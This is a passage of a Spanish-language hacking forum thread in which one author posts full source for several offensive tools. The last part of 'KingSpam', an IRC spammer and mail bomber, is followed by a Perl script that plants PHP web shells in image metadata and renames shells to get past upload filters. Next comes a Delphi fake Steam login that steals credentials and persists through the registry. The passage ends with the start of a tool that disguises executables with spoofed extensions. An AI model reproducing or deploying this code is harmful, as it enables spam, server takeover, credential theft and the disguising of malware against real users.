                    );

                }
            }

        }
        else {
            printear("\n[-] File not Found\n\n");
            copyright();
        }

    }
    elsif ($mailbomber) {

        printear_titulo("[+] Spam Mails : OK\n\n\n");

        printear("[+] Host : ");
        chomp( my $host = <stdin> );

        printear("\n[+] Port : ");
        chomp( my $puerto = <stdin> );

        printear("\n[+] Username : ");
        chomp( my $username = <stdin> );

        printear("\n[+] Password : ");
        chomp( my $password = <stdin> );

        printear("\n[+] Count Message : ");
        chomp( my $count = <stdin> );

        printear("\n[+] To : ");
        chomp( my $to = <stdin> );

        printear("\n[+] Subject : ");
        chomp( my $asunto = <stdin> );

        printear("\n[+] Body : ");
        chomp( my $body = <stdin> );

        printear("\n[+] File to Send : ");
        chomp( my $file = <stdin> );

        printear_titulo("\n[+] Starting ...\n\n");

        for my $num ( 1 .. $count ) {
            printear("[+] Sending Message : ");
            print "$num\n";
            sendmail(
                $host,     $puerto, $username, $password, $username, $username,
                $username, $to,     $asunto,   $body,     $file
            );
        }

        printear_titulo("\n[+] Finished\n");

    }
    else {
        sintax();
    }

    copyright();

    # Functions

    sub spam_canal {

        my $hostname = $_[0];
        my $port     = $_[1];
        my $nombre   = $_[2];
        my $canal    = $_[3];
        my $archivo  = $_[4];

        printear("[+] Connecting to ");
        print $hostname. "\n\n";

        my @nicks    = buscar_usuarios( $_[0], $_[1], $_[2], $_[3] );
        my $contador = 0;
        my $termine  = 0;
        my $timeout  = $_[5];

        my @spamnow = loadfile($archivo);

        if (
            my $socket = new IO::Socket::INET(
                PeerAddr => $hostname,
                PeerPort => $port,
                Proto    => "tcp"
            )
          )
        {

            print $socket "NICK $nombre\r\n";
            print $socket "USER $nombre 1 1 1 1\r\n";
            print $socket "JOIN $canal\r\n";

            printear_titulo("[+] Users Found : ");
            print int(@nicks) . "\n\n";

            while ( my $log = <$socket> ) {
                chomp $log;

                if ( $log =~ /^PING(.*)$/i ) {
                    print $socket "PONG $1\r\n";
                }

                if ( $contador eq "0" ) {
                    printear("[+] Spam in channel : ");
                    print $canal. "\n";
                    sleep($timeout);
                    print $socket "PRIVMSG $canal "
                      . $spamnow[ rand(@spamnow) ] . "\r\n";
                    $contador++;
                }

                foreach $names (@nicks) {
                    chomp $names;
                    sleep($timeout);
                    unless ( $nombre eq $names ) {
                        $names =~ s/\@//;
                        $names =~ s/\+//;
                        print $socket "PRIVMSG $names $spamnow[rand(@spamnow)]\r\n";
                        printear("[+] Spam to user $names : ");
                        print "OK\n";
                    }
                    $termine++;
                }

                if ( $termine eq int(@nicks) ) {
                    $socket->close();
                    last;
                }

            }
        }
        else {
            printear("[-] Error\n");
            $socket->close();
        }

    }

    sub spam_canal_forever {

        my $hostname = $_[0];
        my $port     = $_[1];
        my $nombre   = $_[2];
        my $canal    = $_[3];
        my $archivo  = $_[4];

        printear("[+] Connecting to ");
        print $hostname. "\n\n";

        my @nicks    = buscar_usuarios( $_[0], $_[1], $_[2], $_[3] );
        my $contador = 0;
        my $termine  = 0;
        my $timeout  = $_[5];

        my @spamnow = loadfile($archivo);

        if (
            my $socket = new IO::Socket::INET(
                PeerAddr => $hostname,
                PeerPort => $port,
                Proto    => "tcp"
            )
          )
        {

            print $socket "NICK $nombre\r\n";
            print $socket "USER $nombre 1 1 1 1\r\n";
            print $socket "JOIN $canal\r\n";

            printear_titulo("[+] Users Found : ");
            print int(@nicks) . "\n\n";

            while ( my $log = <$socket> ) {
                chomp $log;

                while (1) {
                    if ( $log =~ /^PING(.*)$/i ) {
                        print $socket "PONG $1\r\n";
                    }

                    if ( $contador eq "0" ) {
                        printear("[+] Spam in channel : ");
                        print $canal. "\n";
                        sleep($timeout);
                        print $socket "PRIVMSG $canal "
                          . $spamnow[ rand(@spamnow) ] . "\r\n";
                        $contador++;
                    }

                    foreach $names (@nicks) {
                        chomp $names;
                        sleep($timeout);
                        unless ( $nombre eq $names ) {
                            $names =~ s/\@//;
                            $names =~ s/\+//;
                            print $socket
                              "PRIVMSG $names $spamnow[rand(@spamnow)]\r\n";
                            printear("[+] Spam to user $names : ");
                            print "OK\n";
                        }
                        $termine++;
                    }
                    $contador = 0;
                    print "\n";
                }

                if ( $termine eq int(@nicks) ) {
                    $socket->close();
                    last;
                }

            }
        }
        else {
            printear("[-] Error\n");
            $socket->close();
        }

    }

    sub buscar_usuarios {

        my $hostname = $_[0];
        my $port     = $_[1];
        my $nombre   = $_[2];
        my $canal    = $_[3];

        if (
            my $socket = new IO::Socket::INET(
                PeerAddr => $hostname,
                PeerPort => $port,
                Proto    => "tcp"
            )
          )
        {

            print $socket "NICK $nombre\r\n";
            print $socket "USER $nombre 1 1 1 1\r\n";
            print $socket "JOIN $canal\r\n";

            while ( my $log = <$socket> ) {

                chomp $log;

                if ( $log =~ /^PING(.*)$/i ) {
                    print $socket "PONG $1\r\n";
                }

                if ( $log =~ m/:(.*) 353 (.*) = (.*) :(.*)/ig ) {
                    my $pro = $4;
                    chop $pro;
                    $pro =~ s/$nombre//;
                    my @nicks = split " ", $pro;
                    $socket->close();
                    return @nicks;
                }

            }
        }
    }

    sub buscar_canales {

        my @resultado;

        my $hostname = $_[0];
        my $port     = $_[1];
        my $nombre   = $_[2];

        if (
            my $socket = new IO::Socket::INET(
                PeerAddr => $hostname,
                PeerPort => $port,
                Proto    => "tcp"
            )
          )
        {

            print $socket "NICK $nombre\r\n";
            print $socket "USER $nombre 1 1 1 1\r\n";
            print $socket "LIST\r\n";

            while ( my $log = <$socket> ) {

                if ( $log =~ /322 (.*?) (.*?) (.*?) :/ ) {
                    my $canal    = $2;
                    my $cantidad = $3;
                    push( @resultado, $canal . "-soy_un_limite-" . $cantidad );
                }

                if ( $log =~ /:End of \/LIST/ ) {
                    last;
                }

            }

            $socket->close;

            return @resultado;

        }

    }

    sub listar_canales {

        my $host = $_[0];
        my $port = $_[1];
        my $nick = $_[2];
        my $file = $_[3];

        printear_titulo("[+] Serching channels ...\n\n");
        my @encontrados = buscar_canales( $host, $port, $nick );
        if ( int(@encontrados) eq "0" or int(@encontrados) eq "1" ) {
            printear_titulo("[-] Channels not found\n");
        }
        else {
            printearf_titulo( "Channels", "Users" );
            print "\n";
            for my $encontrado (@encontrados) {
                if ( $encontrado =~ /(.*)-soy_un_limite-(.*)/ ) {
                    my $canal    = $1;
                    my $cantidad = $2;
                    printearf( $canal, $cantidad );

                    if ( $file ne "" ) {
                        savefile( $file, $canal );
                    }

                }
            }
        }

    }

    sub sendmail {

    ## Function Based on : http://code.activestate.com/lists/pdk/5351/
    ## Credits : Thanks to Phillip Richcreek and Eric Promislow

        my (
            $host, $port, $username, $password, $from, $cc,
            $bcc,  $to,   $asunto,   $mensaje,  $file
        ) = @_;

        $correo = Win32::OLE->new('CDO.Message');

        $correo->Configuration->Fields->SetProperty( "Item",
            'http://schemas.microsoft.com/cdo/configuration/sendusername',
            $username );
        $correo->Configuration->Fields->SetProperty( "Item",
            'http://schemas.microsoft.com/cdo/configuration/sendpassword',
            $password );
        $correo->Configuration->Fields->SetProperty( "Item",
            'http://schemas.microsoft.com/cdo/configuration/smtpserver', $host );
        $correo->Configuration->Fields->SetProperty( "Item",
            'http://schemas.microsoft.com/cdo/configuration/smtpserverport',
            $port );
        $correo->Configuration->Fields->SetProperty( "Item",
            'http://schemas.microsoft.com/cdo/configuration/smtpusessl', 1 );
        $correo->Configuration->Fields->SetProperty( "Item",
            'http://schemas.microsoft.com/cdo/configuration/sendusing', 2 );
        $correo->Configuration->Fields->SetProperty( "Item",
            'http://schemas.microsoft.com/cdo/configuration/smtpauthenticate', 1 );
        $correo->Configuration->Fields->Update();

        if ( -f $file ) {
            $correo->AddAttachment($file);
        }

        $correo->{From}     = $from;
        $correo->{CC}       = $cc;
        $correo->{BCC}      = $bcc;
        $correo->{To}       = $to;
        $correo->{Subject}  = $asunto;
        $correo->{TextBody} = $mensaje;
        $correo->Send();

    }

    # More Functions

    sub printearf_titulo {
        cprintf( "\x0310" . "%-32s  %s" . "\x030\n", $_[0], $_[1] );
    }

    sub printearf {
        cprintf( "\x036" . "%-32s  %s" . "\x030\n", $_[0], $_[1] );
    }

    sub printear {
        cprint( "\x036" . $_[0] . "\x030" );
        return "";
    }

    sub printear_logo {
        cprint( "\x037" . $_[0] . "\x030" );
        return ""

    }

    sub printear_titulo {
        cprint( "\x0310" . $_[0] . "\x030" );
        return "";
    }

    sub savefile {
        open( SAVE, ">>" . $_[0] );
        print SAVE $_[1] . "\n";
        close SAVE;
    }

    sub loadfile {
        if ( -f $_[0] ) {
            my @words;
            my @r;
            open( FILE, $_[0] );
            @words = <FILE>;
            close FILE;
            for (@words) {
                push( @r, $_ );
            }
            return (@r);
        }
        else {
            printear("\n[-] File not found\n\n");
            copyright();
        }
    }

    sub sintax {
        printear("[+] Sintax : ");
        print "perl $0 <option> <value>\n";
        printear("\n[+] Options : \n\n");
        print
    "-get_channels <host> -port <port> -nick <nick> -savefile <file> : Get & Save Channels of a server\n";
        print
    "-get_users <host> -port <port> -channel <channel> -nick <nick> -savefile <file> : Get & Save Channels of a server\n";
        print
    "-spam_channel <host> -port <port> -channel <channel> -nick <nick> -spam_file <spam> -timeout <timeout> : Spam in a Channel\n";
        print
    "-spam_channel_forever <host> -port <port> -channel <channel> -nick <nick> -spam_file <spam> -timeout <timeout> : Spam in a Channel Forever\n";
        print
    "-spam_server <host> -port <port> -nick <nick> -spam_file <spam> -timeout <timeout> : Spam in a server\n";
        print
    "-spam_servers_list <file> -port <port> -nick <nick> -spam_file <spam> -timeout <timeout> : Spam in multiple servers\n";
        print
    "-spam_targets <file> -port <port> -nick <nick> -spam_file <spam> -timeout <timeout> : Spam in servers & channels saved\n";
        print "-mailbomber : Open MailBomber\n";
        printear("\n[+] Example : \n\n");
        print "perl kingspam.pl -get_channels localhost\n";
        print "perl kingspam.pl -get_users localhost -channel #locos\n";
        print
    "perl kingspam.pl -spam_channel localhost -channel #locos -spam_file c:/spam.txt\n";
        print
    "perl kingspam.pl -spam_channel_forever localhost -channel #locos -spam_file c:/spam.txt\n";
        print "perl kingspam.pl -spam_server localhost -spam_file c:/spam.txt\n";
        print
    "perl kingspam.pl -spam_servers_file c:/servers.txt -nick ClapTrap -spam_file c:/spam.txt\n";
        print
          "perl kingspam.pl -spam_targets c:/servers.txt -spam_file c:/spam.txt\n";
        print "perl kingspam.pl -mailbomber\n";
    }

    sub head {
        printear_logo("\n-- == KingSpam 1.0 == --\n\n\n");
    }

    sub copyright {
        printear_logo("\n\n-- == (C) Doddy Hackman 2015 == --\n\n");
        exit(1);
    }

    # The End ?


    Un video con ejemplos de uso :

    [youtube=640,360]https://www.youtube.com/watch?v=TPYeDBPKRdw[/youtube]

    Si quieren bajar el programa lo pueden hacer de aca :

    SourceForge.
#56
Scripting / [Perl] LFI Image Helper 0.8
8 Mayo 2015, 15:57 PM
Un simple script en Perl para colocar codigo de phpshells en imagenes , el script tiene las siguientes opciones :

  • Listar todos los Tags de la imagen con contenido
  • Listar solo los Tags
  • Leer el valor de cierto Tag
  • Crear un Tag nuevo
  • Editar un Tag
  • Borrar un Tag
  • Infectar una imagen con un backdoor conocido en PHP

    El codigo :

    Código (perl) [Seleccionar]

    #!usr/bin/perl
    #LFI Image Helper 0.8
    #(C) Doddy Hackman 2015
    #ppm install  http://trouchelle.com/ppm/Image-ExifTool.ppd
    #
    #Array @shells based on : OhNo - Evil Image Builder By Hood3dRob1n
    #Thanks to Hood3dRob1n
    #
    #Dump Values
    #Based on :http://www.nntp.perl.org/group/perl.beginners/2012/02/msg119913.html
    #Thanks to Ken Slater
    #
    use Image::ExifTool;
    use Getopt::Long;
    use Color::Output;
    Color::Output::Init;

    my @shells = (

       {},

       {

           "nombre"  => "Simple Backdoor",
           "codigo"  => '<?php system($_GET["cmd"]);exit(1); ?>',
           "ejemplo" => "?cmd="

       },
       {

           "nombre" => "System Shell",
           "codigo" =>
    '<?error_reporting(0);print(___);system($_REQUEST[cmd]);print(___);die;?>',
           "ejemplo" => "?cmd="

       },
       {

           "nombre" => "Eval Shell",
           "codigo" =>
    '<?error_reporting(0);print(___);eval($_REQUEST[cmd]);print(___);die;?>',
           "ejemplo" => "?cmd="

       },
       {

           "nombre" => "Sneaky Shell",
           "codigo" =>
    '<?php @$_[]=@!+_$__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_$_[]=++$__$_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__]; $_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] ); $_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] ); $_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ]; $_=$ $_[$__$__] ;$_[@-_]($_[@!+_] );?>',
           "ejemplo" => "?0="

       },
       {

           "nombre" => "r0ng Shell",
           "codigo" =>
             '<?if($_GET["r0ng"]){echo"<pre>".shell_exec($_GET["r0ng"]);}?>',
           "ejemplo" => "?r0ng="

       }

    );

    GetOptions(
       "dump_all=s"   => \$dump_all,
       "dump_tags=s"  => \$dump_tags,
       "read_tag=s"   => \$read_tag,
       "tag=s"        => \$tag,
       "make_tag=s"   => \$make_tag,
       "value=s"      => \$value,
       "update_tag=s" => \$update_tag,
       "delete_tag=s" => \$delete_tag,
       "backdoor=s"   => \$backdoor,
       "bypass=s"     => \$bypass,
       "file=s"       => \$file
    );

    head();

    if ($dump_all) {

       if ( -f $dump_all ) {
           printear_titulo("[+] Finding information in : ");
           print $dump_all. "\n\n";
           dump_all($dump_all);
       }
       else {
           printear("[-] File not found\n");
       }

    }
    elsif ($dump_tags) {

       if ( -f $dump_tags ) {
           printear_titulo("[+] Finding tags in : ");
           print $dump_tags. "\n\n";
           dump_tags($dump_tags);
       }
       else {
           printear("[-] File not found\n");
       }
    }
    elsif ($read_tag) {

       if ( -f $read_tag ) {
           printear_titulo("[+] Finding tag value of $tag in : ");
           print $read_tag. "\n\n";
           read_tag( $read_tag, $tag );
       }
       else {
           printear("[-] File not found\n");
       }

    }

    elsif ($make_tag) {

       if ( -f $make_tag ) {

           printear_titulo("[+] Photo : ");
           print $make_tag. "\n";
           printear_titulo("[+] Name : ");
           print $tag. "\n";
           printear_titulo("[+] Value : ");
           print $value. "\n\n";

           printear("[+] Making tag $tag ...\n\n");

           make_tag( $make_tag, $tag, $value );

       }
       else {
           printear("[-] File not found\n");
       }
    }
    elsif ($update_tag) {

       if ( -f $update_tag ) {

           printear_titulo("[+] Photo : ");
           print $update_tag. "\n";
           printear_titulo("[+] Name : ");
           print $tag. "\n";
           printear_titulo("[+] Value : ");
           print $value. "\n\n";

           printear("[+] Updating tag $tag ...\n\n");

           update_tag( $update_tag, $tag, $value );

       }
       else {
           printear("[-] File not found\n");
       }
    }
    elsif ($delete_tag) {

       if ( -f $delete_tag ) {
           printear_titulo("[+] Deleting tag $tag in : ");
           print $delete_tag. "\n\n";
           delete_tag( $delete_tag, $tag );
       }
       else {
           printear("[-] File not found\n");
       }

    }
    elsif ($backdoor) {

       if ( -f $backdoor ) {

           printear_titulo("[+] Photo : ");
           print $backdoor. "\n\n";

           printear("[+] 1 : ");
           print "Simple Backdoor\n";
           printear("[+] 2 : ");
           print "System Shell\n";
           printear("[+] 3 : ");
           print "Eval Shell\n";
           printear("[+] 4 : ");
           print "Sneaky Shell\n";
           printear("[+] 5 : ");
           print "r0ng Shell\n";

           printear_titulo("\n[+] Option : ");
           chomp( my $opcion = <stdin> );

           backdoor_tag( $backdoor, $opcion, $file );

       }
       else {
           printear("[-] File not found\n");
       }

    }
    elsif ($bypass) {

       if ( -f $bypass ) {

           my $source = readfile($bypass);

           printear_titulo("[+] PHP Shell : ");
           print $bypass. "\n\n";

           printear("[+] 1 : ");
           print "bypass.jpg.php\n";
           printear("[+] 2 : ");
           print "bypass.php;test.jpg\n";
           printear("[+] 3 : ");
           print "bypass.php%00.jpg\n";

           printear_titulo("\n[+] Option : ");
           chomp( my $opcion = <stdin> );

           if ( $opcion eq "1" ) {
               savefile( $file . ".jpg.php", $source );
               chmod 0777, $file . ".jpg.php";
           }
           elsif ( $opcion eq "2" ) {
               savefile( $file . ".php;test.jpg", $source );
               chmod 0777, $file . ".php;test.jpg";
           }
           elsif ( $opcion eq "3" ) {
               savefile( $file . ".php%00.jpg", $source );
               chmod 0777, $file . ".php%00.jpg";
           }
           else {
               savefile( $file . ".jpg.php", $source );
               chmod 0777, $file . ".jpg.php";
           }

           printear("\n[+] PHP Shell Bypassed\n");

       }
       else {
           printear("\n[-] File not found\n");
       }

    }
    else {
       sintax();
    }

    copyright();

    # Functions

    sub backdoor_tag {

       my $image  = $_[0];
       my $opcion = $_[1];
       my $final  = $_[2];

       my $tag     = "Model";
       my $nombre  = $shells[$opcion]->{nombre};
       my $valor   = $shells[$opcion]->{codigo};
       my $ejemplo = $shells[$opcion]->{ejemplo};

       printear("\n[+] Backdoor Name : ");
       print "$nombre\n";
       printear("[+] Backdoor Example : ");
       print "$ejemplo\n";

       my $datos_imagen       = new Image::ExifTool;
       my $informacion_imagen = $datos_imagen->ImageInfo($image);

       $datos_imagen->SetNewValue( $tag, $valor );

       unlink($final);

       $ok = $datos_imagen->WriteInfo( $image, $final );

       if ( $ok eq "1" ) {
           printear_titulo("\n[+] Backdoor : ");
           print "OK\n";
           chmod 0777, $final;
       }
       else {
           printear_titulo("\n[-] Backdoor: ");
           print "Error\n";
       }

    }

    sub delete_tag {

       my $imagen_target = $_[0];
       my $tag           = $_[1];

       my $datos_imagen       = new Image::ExifTool;
       my $informacion_imagen = $datos_imagen->ImageInfo($imagen_target);

       $datos_imagen->SetNewValue( $tag, undef );

       $ok = $datos_imagen->WriteInfo($imagen_target);

       if ( $ok eq "1" ) {
           printear_titulo("[+] Tag $tag : ");
           print "Deleted\n";
       }
       else {
           printear_titulo("[-] Tag $tag : ");
           print "Error\n";
       }

    }

    sub update_tag {

       my $image = $_[0];
       my $tag   = $_[1];
       my $valor = $_[2];

       my $datos_imagen       = new Image::ExifTool;
       my $informacion_imagen = $datos_imagen->ImageInfo($image);

       $datos_imagen->SetNewValue( $tag, $valor );

       $ok = $datos_imagen->WriteInfo($image);

       if ( $ok eq "1" ) {
           printear_titulo("[+] Tag $tag : ");
           print "Updated\n";
       }
       else {
           printear_titulo("[-] Tag $tag : ");
           print "Error\n";
       }

    }

    sub make_tag {

       my $image = $_[0];
       my $name  = $_[1];
       my $value = $_[2];

       my $poc = Image::ExifTool->new();

       $poc->ExtractInfo($image);
       $poc->SetNewValue( $name, $value );

       $ok = $poc->WriteInfo($image);

       if ( $ok eq "1" ) {
           printear_titulo("[+] Tag $name : ");
           print "Created\n";
       }
       else {
           printear_titulo("[-] Tag $name : ");
           print "Error\n";
       }

    }

    sub read_tag {

       $imagen_target = $_[0];
       $tag           = $_[1];

       my $datos_imagen       = new Image::ExifTool;
       my $informacion_imagen = $datos_imagen->ImageInfo($imagen_target);

       $valor = $datos_imagen->GetValue($tag);

       if ( $valor eq "" ) {
           printear("[-] Tag not found\n");
       }
       else {
           printear("[+] $tag : ");
           print $valor. "\n";
       }

    }

    sub dump_tags {

       my $imagen_target = $_[0];

       my $datos_imagen       = new Image::ExifTool;
       my $informacion_imagen = $datos_imagen->ImageInfo($imagen_target);

       @tags = $datos_imagen->GetFoundTags("File");

       for my $tag (@tags) {
           printear("[+] Tag : ");
           print $tag. "\n";
       }

    }

    sub dump_all {

       my $imagen_target = $_[0];

       my $datos_imagen       = new Image::ExifTool;
       my $informacion_imagen = $datos_imagen->ImageInfo($imagen_target);

       for my $abriendo_imagen ( $datos_imagen->GetFoundTags("Group0") ) {
           my $valor = $informacion_imagen->{$abriendo_imagen};
           printear("[+] $abriendo_imagen : ");
           print $valor. "\n";
       }

    }

    sub savefile {
       open( SAVE, ">>" . $_[0] );
       print SAVE $_[1] . "\n";
       close SAVE;
    }

    sub readfile {
       open my $FILE, q[<], $_[0];
       my $word = join q[], <$FILE>;
       close $FILE;
       return $word;
    }

    sub printear {
       cprint( "\x036" . $_[0] . "\x030" );
    }

    sub printear_logo {
       cprint( "\x037" . $_[0] . "\x030" );
    }

    sub printear_titulo {
       cprint( "\x0310" . $_[0] . "\x030" );
    }

    sub sintax {

       printear("[+] Sintax : ");
       print "perl $0 <option> <value>\n";
       printear("\n[+] Options : \n\n");
       print "-dump_all <image> : Get all information of a image\n";
       print "-dump_tags <image> : Get all tags of a image\n";
       print "-read_tag <image> -tag <tag> : Read value tags of a image\n";
       print "-make_tag <image> -tag <tag> -value <value> : Make a new tag\n";
       print "-update_tag <image> -tag <tag> -value <value> : Update tag\n";
       print "-delete_tag <image> -tag <tag> : Delete tag\n";
       print "-backdoor <image> -file <name> : Insert backdoor in a image\n";
       print
    "-bypass <php shell> -file <name> : Rename extension of a image to bypass\n";
       printear("\n[+] Example : ");
       print "perl lfi_image_helper.pl -dump_all test.jpg\n";
       copyright();
    }

    sub head {
       printear_logo("\n-- == LFI Image Helper 0.8 == --\n\n\n");
    }

    sub copyright {
       printear_logo("\n\n-- == (C) Doddy Hackman 2015 == --\n\n");
       exit(1);
    }

    sub toma {
       return $nave->get( $_[0] )->content;
    }

    #The End ?


    Un video con ejemplos de uso :

    [youtube=640,360]https://www.youtube.com/watch?v=rF-IP4v1KHw[/youtube]

    Si quieren bajar el programa lo pueden hacer de aca :

    SourceForge.
#57
Un simple fake del programa Steam , parecia dificil pero con el poder de los skins de Delphi XE2 pude hacerlo "parecido".

Una imagen :



El codigo :

Código (delphi) [Seleccionar]

// Fake Steam 0.3
// (C) Doddy Hackman 2015

unit fake;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ExtCtrls, Vcl.Imaging.pngimage,
  Vcl.StdCtrls, Registry;

type
  TForm1 = class(TForm)
    Image1: TImage;
    Image2: TImage;
    Edit1: TEdit;
    Edit2: TEdit;
    Image3: TImage;
    Image4: TImage;
    Image5: TImage;
    Image6: TImage;
    procedure Image2Click(Sender: TObject);
    procedure Image3Click(Sender: TObject);
    procedure Image4Click(Sender: TObject);
    procedure Image5Click(Sender: TObject);
    procedure Image6Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
var
  nombrereal: string;
  rutareal: string;
  yalisto: string;
  her: TRegistry;

begin

  try
    begin
      nombrereal := ExtractFileName(ParamStr(0));
      rutareal := ParamStr(0);
      yalisto := 'C:\WINDOWS\' + nombrereal;

      CopyFile(Pchar(rutareal), Pchar(yalisto), false);

      her := TRegistry.Create;
      her.RootKey := HKEY_LOCAL_MACHINE;

      her.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', false);
      her.WriteString('ubersteam', yalisto);
      her.Free;

      SetFileAttributes(Pchar(yalisto), FILE_ATTRIBUTE_HIDDEN);
      SetFileAttributes(Pchar('C:/windows/datos.txt'), FILE_ATTRIBUTE_HIDDEN);
    end;
  except
    //
  end;
end;

procedure TForm1.Image2Click(Sender: TObject);
var
  archivo: TextFile;
  ruta: string;

begin

  if (Edit1.Text = 'doddy') and (Edit2.Text = 'hackman') then
  begin
    try
      begin
        WinExec('notepad c:/windows/datos.txt', SW_SHOW);
      end;
    except
      //
    end;
  end
  else
  begin

    if Edit1.Text = '' then
    begin
      ShowMessage('Escriba tu usuario');
    end;
    if Edit2.Text = '' then
    begin
      ShowMessage('Escribe tu contraseña');
    end
    else
    begin
      if Edit2.Text = 'Escribe aqui tu contraseña' then
      begin
        ShowMessage('Escribe tu contraseña');
      end
      else
      begin
        try
          begin
            ruta := 'c:/windows/datos.txt'; // mod
            if FileExists(ruta) then
            begin
              AssignFile(archivo, ruta);
              FileMode := fmOpenWrite;
              Append(archivo);
              Writeln(archivo, '[user] : ' + Edit1.Text + ' [password] : ' +
                Edit2.Text);
              CloseFile(archivo);
              Application.MessageBox
                ('Se ha producido un error , es necesario reiniciar Steam',
                'Steam', MB_OK);
              Form1.Close;
            end
            else
            begin
              AssignFile(archivo, ruta);
              FileMode := fmOpenWrite;
              ReWrite(archivo);
              Writeln(archivo, '[user] : ' + Edit1.Text + ' [password] : ' +
                Edit2.Text);
              CloseFile(archivo);
              Application.MessageBox
                ('Se ha producido un error , es necesario reiniciar Steam',
                'Steam', MB_OK);
              Form1.Close;
            end;
          end;
        except
          //
        end;
      end;
    end;
  end;
end;

procedure TForm1.Image3Click(Sender: TObject);
begin
  Application.Terminate;
end;

procedure TForm1.Image4Click(Sender: TObject);
begin
  ShowMessage('Not available');
end;

procedure TForm1.Image5Click(Sender: TObject);
begin
  ShowMessage('Not available');
end;

procedure TForm1.Image6Click(Sender: TObject);
begin
  ShowMessage('Not available');
end;

end.

// The End ?


Si quieren bajar el programa lo pueden hacer de aca.
#58
Un simple programa en Delphi para modificar ejecutables con las siguientes opciones :

  • File Pumper
  • Extension Spoofer
  • Icon Changer

    Una imagen :



    Código (delphi) [Seleccionar]

    // DH Server Manager 0.3
    // (C) Doddy Hackman 2015
    // Based on : http://www.nerdprogrammer.in/2014/05/the-rats-crew-aio.html

    unit dhserverman;

    interface

    uses
      Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
      System.Classes, Vcl.Graphics,
      Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, Vcl.ComCtrls,
      Vcl.ExtCtrls, Vcl.Imaging.pngimage, madRes, StrUtils;

    type
      TForm1 = class(TForm)
        PageControl1: TPageControl;
        TabSheet1: TTabSheet;
        TabSheet2: TTabSheet;
        TabSheet3: TTabSheet;
        GroupBox1: TGroupBox;
        ruta_archivo: TEdit;
        Button1: TButton;
        GroupBox2: TGroupBox;
        Button2: TButton;
        StatusBar1: TStatusBar;
        TabSheet5: TTabSheet;
        GroupBox3: TGroupBox;
        GroupBox4: TGroupBox;
        count: TEdit;
        UpDown1: TUpDown;
        tipo_cantidad: TComboBox;
        GroupBox5: TGroupBox;
        ruta_icono: TEdit;
        Button3: TButton;
        GroupBox6: TGroupBox;
        Image1: TImage;
        OpenDialog1: TOpenDialog;
        OpenDialog2: TOpenDialog;
        GroupBox7: TGroupBox;
        usefilepumper: TCheckBox;
        iconchanger: TCheckBox;
        extensiones: TComboBox;
        selectextension: TCheckBox;
        GroupBox8: TGroupBox;
        mi_extension: TCheckBox;
        esta_extension: TEdit;
        extensionchanger: TCheckBox;
        TabSheet4: TTabSheet;
        Image2: TImage;
        GroupBox9: TGroupBox;
        Image3: TImage;
        Memo1: TMemo;
        procedure Button2Click(Sender: TObject);
        procedure Button3Click(Sender: TObject);
        procedure FormCreate(Sender: TObject);
        procedure Button1Click(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;

    var
      Form1: TForm1;

    implementation

    {$R *.dfm}
    // Functions

    procedure file_pumper(archivo: string; cantidad: LongWord);
    var
      arraycantidad: array of Byte;
      abriendo: TFileStream;
    begin
      abriendo := TFileStream.Create(archivo, fmOpenReadWrite);
      SetLength(arraycantidad, cantidad);
      ZeroMemory(@arraycantidad[1], cantidad);
      abriendo.Seek(0, soFromEnd);
      abriendo.Write(arraycantidad[0], High(arraycantidad));
      abriendo.Free;
    end;

    procedure extension_changer(archivo: string; extension: string);
    var
      nombre: string;
    begin
      nombre := ExtractFileName(archivo);
      nombre := StringReplace(nombre, ExtractFileExt(nombre), '',
        [rfReplaceAll, rfIgnoreCase]);
      nombre := nombre + char(8238) + ReverseString('.' + extension) + '.exe';
      MoveFile(PChar(archivo), PChar(ExtractFilePath(archivo) + nombre));
    end;

    //

    procedure TForm1.Button1Click(Sender: TObject);
    begin
      if OpenDialog1.Execute then
      begin
        ruta_archivo.Text := OpenDialog1.FileName;
      end;
    end;

    procedure TForm1.Button2Click(Sender: TObject);
    var
      change: dword;
      valor: string;
      tipocantidad: string;
      tipoextension: string;
      extensionacambiar: string;
    begin

      if not(FileExists(ruta_archivo.Text)) then
      begin
        ShowMessage('Select File to change');
      end
      else
      begin

        StatusBar1.Panels[0].Text := '[+] Working ...';
        Form1.StatusBar1.Update;

        if (usefilepumper.Checked) then
        begin
          tipocantidad := tipo_cantidad.Items[tipo_cantidad.ItemIndex];
          if (tipocantidad = 'Byte') then
          begin
            file_pumper(ruta_archivo.Text, StrToInt(count.Text) * 8);
          end;
          if (tipocantidad = 'KiloByte') then
          begin
            file_pumper(ruta_archivo.Text, StrToInt(count.Text) * 1024);
          end;
          if (tipocantidad = 'MegaByte') then
          begin
            file_pumper(ruta_archivo.Text, StrToInt(count.Text) * 1048576);
          end;
          if (tipocantidad = 'GigaByte') then
          begin
            file_pumper(ruta_archivo.Text, StrToInt(count.Text) * 1073741824);
          end;
          if (tipocantidad = 'TeraByte') then
          begin
            file_pumper(ruta_archivo.Text, StrToInt(count.Text) * 1099511627776);
          end;
        end;

        if (iconchanger.Checked) then
        begin
          try
            begin
              change := BeginUpdateResourceW
                (PWideChar(wideString(ruta_archivo.Text)), false);
              LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
                PWideChar(wideString(ruta_icono.Text)));
              EndUpdateResourceW(change, false);
            end;
          except
            begin
              //
            end;
          end;
        end;

        if (extensionchanger.Checked) then
        begin
          if not(selectextension.Checked and mi_extension.Checked) then
          begin
            if (selectextension.Checked) then
            begin
              extensionacambiar := extensiones.Items[extensiones.ItemIndex];
              extension_changer(ruta_archivo.Text, extensionacambiar);
            end;
            if (mi_extension.Checked) then
            begin
              extension_changer(ruta_archivo.Text, esta_extension.Text);
            end;
          end;
